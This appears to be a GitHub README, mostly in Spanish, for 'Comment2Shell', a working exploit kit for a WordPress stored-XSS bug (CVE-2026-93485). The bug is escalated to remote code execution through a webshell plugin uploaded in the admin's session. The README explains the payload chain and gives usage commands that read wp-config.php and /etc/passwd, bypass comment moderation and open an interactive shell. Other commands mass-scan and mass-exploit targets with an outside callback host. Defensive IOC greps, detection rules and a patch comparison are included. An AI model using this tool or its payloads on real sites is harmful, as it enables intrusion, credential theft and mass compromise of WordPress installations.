Cadena de explotación zero-click pre-auth de WordPress CVE-2026-93485: XSS almacenado en wpautop() escala a la carga de un plugin mediante sesión de administrador y un webshell autoeliminable, con escáner, shell y plantilla de Nuclei.
Comment2Shell es una prueba de concepto de extremo a extremo para CVE-2026-93485, un
XSS almacenado preautenticación en el núcleo de WordPress wpautop() que
escala a ejecución remota de código dentro de una sesión de administrador. Un
comentario anónimo planta el payload; cuando un admin abre la entrada, el
navegador sube un plugin webshell, ejecuta un comando y borra el shell de
nuevo. Toda la cadena es un único archivo Python sin dependencias.
Comment2Shell es un exploit y un kit de laboratorio local para CVE-2026-93485. El fallo
vive en wp-includes/formatting.php, en el filtro de párrafos wpautop()
que se ejecuta en tiempo de visualización sobre el texto de los comentarios. Un salto de línea dentro de un
atributo se convierte en un marcador de posición de comentario HTML; la
regex que envuelve los blockquotes se detiene en el primer e inyecta una
etiqueta de párrafo en medio del atributo, que el navegador luego
interpreta como un manejador . El atributo lo dispara
sin clic.
blockquote cite>onfocusautofocusLa herramienta cubre toda la cadena: un escaneo pasivo de versión, una sonda XSS benigna, el exploit completo de preautenticación a RCE, un shell interactivo, y una comprobación defensiva de IOC.
El exploit no necesita cuenta, ni nonce, ni interacción más allá de que el admin vea la entrada. Solo hay que tener los comentarios abiertos.
WordPress mueve una gran parte de la web y wpautop() es código del núcleo, así que
el filtro vulnerable se distribuye en cada instalación afectada independientemente del tema
o plugin. El XSS es almacenado, preautenticación y sin clic. Debido a que
se ejecuta en la sesión del admin, es más que un fallo de desfiguración: la
cookie del admin es suficiente para instalar un plugin, e instalar un plugin es
ejecución arbitraria de código.
El parche se distribuyó en WordPress 7.1.1 con backports en 25 ramas, hasta 4.7.36. Todas las versiones desde 4.7.0 hasta 7.1.0 están afectadas.
Ejecución en laboratorio controlado contra WordPress 7.1.0: un comentario anónimo planta
el payload, el admin al abrir la entrada dispara la cadena sin clic, el
webshell se sube, la salida del comando regresa, y el shell se borra
a sí mismo. El título de la pestaña del navegador informa el resultado, ya sea
Comment2Shell: shell uploaded o Comment2Shell: admin login required.
Consulta docker/README.md para el procedimiento exacto.
Comment2Shell no reclama el descubrimiento del fallo. Fue reportado por Rafie Muhammad (Awesome Motive) a través del programa de WordPress en HackerOne y corregido en 7.1.1. La contribución aquí es una implementación reproducible y sin dependencias de la cadena completa:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Sin dependencias. Solo biblioteca estándar de Python 3.8+, sin pip install.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -d targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
El payload del exploit dispara
alert("Comment2Shell XSS - CVE-2026-93485")al cargar la página (sin clic medianteautofocus). Visualiza la entrada mientras estás conectado como admin. El título de la pestaña entonces muestraComment2Shell: shell uploadeden caso de éxito, oComment2Shell: admin login requiredsi el navegador no tiene sesión de admin.
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"
# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60
# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup
# With an OAST callback
python3 comment2shell.py -t https://target.com \
-c "cat /etc/passwd" \
--callback https://your-id.oast.example
# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
-c "whoami" --known-commenter
# Through a proxy
python3 comment2shell.py -t https://target.com \
-c "id" --proxy http://127.0.0.1:8080
La herramienta envía el comentario XSS, sondea la ruta del webshell generado cada
3s (hasta --wait segundos), ejecuta el comando una vez que el navegador del admin
dispara la subida, y luego se autoborra el shell (?d=1 desvincula el archivo
PHP y elimina el directorio del plugin) para que no quede persistencia.
Pasa --no-cleanup para conservarlo, o --wait 0 para enviar solo el payload.
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
--shell-path ab12cd/ab12cd.php
# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
--shell-path ab12cd/ab12cd.php -c "cat wp-config.php"
python3 comment2shell.py --ioc -t https://target.com
Los comentarios nuevos de comentaristas primerizos normalmente se retienen para moderación. La herramienta tiene tres rutas para evitarlo:
| Ruta | Método | Flag |
|---|---|---|
| Comentarista conocido | Reutiliza el <[email protected]> por defecto de "A WordPress Commenter", que check_comment() autoaprueba | --known-commenter |
| Moderación desactivada | Si comment_previously_approved=0, cualquier identidad se autoaprueba | por defecto |
| Vista previa del autor | Un comentarista previo ve los comentarios pendientes a través de la cookie ?unapproved=<id>&moderation-hash=<hash> | automático |
Según Patchstack: "la moderación no es un control de seguridad."
Levanta un WordPress 7.1.0 vulnerable para pruebas locales:
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80 (host networking)
# Admin: admin / Password123!
# Then: python3 comment2shell.py -t http://localhost -c "id"
Cada ejecución envía un nuevo comentario payload. Solo el primer payload autofocus
en la página se ejecuta, así que la herramienta detecta el payload activo y sondea su ruta;
ejecuta bash clean.sh para limpiar comentarios antiguos entre ejecuciones.
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null
# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
onfocus%' ORDER BY comment_date DESC;"
# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
-newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
-not -path "*/hello*"
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"
# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|
# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
httpx -silent -title | \
grep -i "wordpress" | \
python3 comment2shell.py --scan --stdin --threads 20
# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
python3 comment2shell.py -t - -c "id" \
--callback https://your-id.oast.example
# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
--threads 30 -o scan_results.json --json
wp-includes/formatting.php:563 (vulnerable, antes de 7.1.1):
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );
El payload es HTML benigno en el momento de guardado. blockquote[cite] y code están
en la lista de permitidos de comentarios (wp-includes/kses.php:605-633). El salto de línea no está en
el mapa de caracteres de sintaxis de wp_kses_hair(). El exploit ocurre en tiempo de
visualización, cuando los filtros de comment_text transforman el HTML almacenado.
add_filter( 'comment_text', 'wptexturize' ); // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 ); // THE BUG
El parche se distribuyó en 7.1.1 en 25 ramas. Todas las versiones desde 4.7.0 hasta 7.1.0 están afectadas.
| Rama | Vulnerable <= | Corregida |
|---|---|---|
| 7.1 | 7.1.0 | 7.1.1 |
| 7.0 | 7.0.4 | 7.0.5 |
| 6.9 | 6.9.7 | 6.9.8 |
| 6.8 | 6.8.8 | 6.8.9 |
| 6.7 | 6.7.7 | 6.7.8 |
| 6.6 | 6.6.7 | 6.6.8 |
| 6.5 | 6.5.10 | 6.5.11 |
| 6.4 | 6.4.10 | 6.4.11 |
| 6.3 | 6.3.10 | 6.3.11 |
| 6.2 | 6.2.11 | 6.2.12 |
| 6.1 | 6.1.12 | 6.1.13 |
| 6.0 | 6.0.14 | 6.0.15 |
| 5.9 | 5.9.16 | 5.9.17 |
| 5.8 | 5.8.15 | 5.8.16 |
| 5.7 | 5.7.17 | 5.7.18 |
| 5.6 | 5.6.19 | 5.6.20 |
| 5.5 | 5.5.20 | 5.5.21 |
| 5.4 | 5.4.21 | 5.4.22 |
| 5.3 | 5.3.23 | 5.3.24 |
| 5.2 | 5.2.26 | 5.2.27 |
| 5.1 | 5.1.24 | 5.1.25 |
| 5.0 | 5.0.27 | 5.0.28 |
| 4.9 | 4.9.31 | 4.9.32 |
| 4.8 | 4.8.30 | 4.8.31 |
| 4.7 | 4.7.35 | 4.7.36 |
Comment2Shell/
|-- comment2shell.py scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/ vulnerable WordPress 7.1.0 lab
| |-- docker-compose.yml
| |-- setup.sh
| |-- clean.sh
| +-- README.md
|-- nuclei/ detection template
|-- ioc/ server-side IOC checker
|-- requests/ raw HTTP exploit templates
|-- assets/ banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE
wptexturize sellando el
atributo); los temas clásicos pueden no dispararlo.docker/clean.sh.
Este proyecto existe para pruebas de seguridad autorizadas y educación. Úsalo solo contra sistemas que poseas o tengas permiso escrito explícito para probar. El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones. Los autores no son responsables del mal uso o daño. Consulta LICENSE.
0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383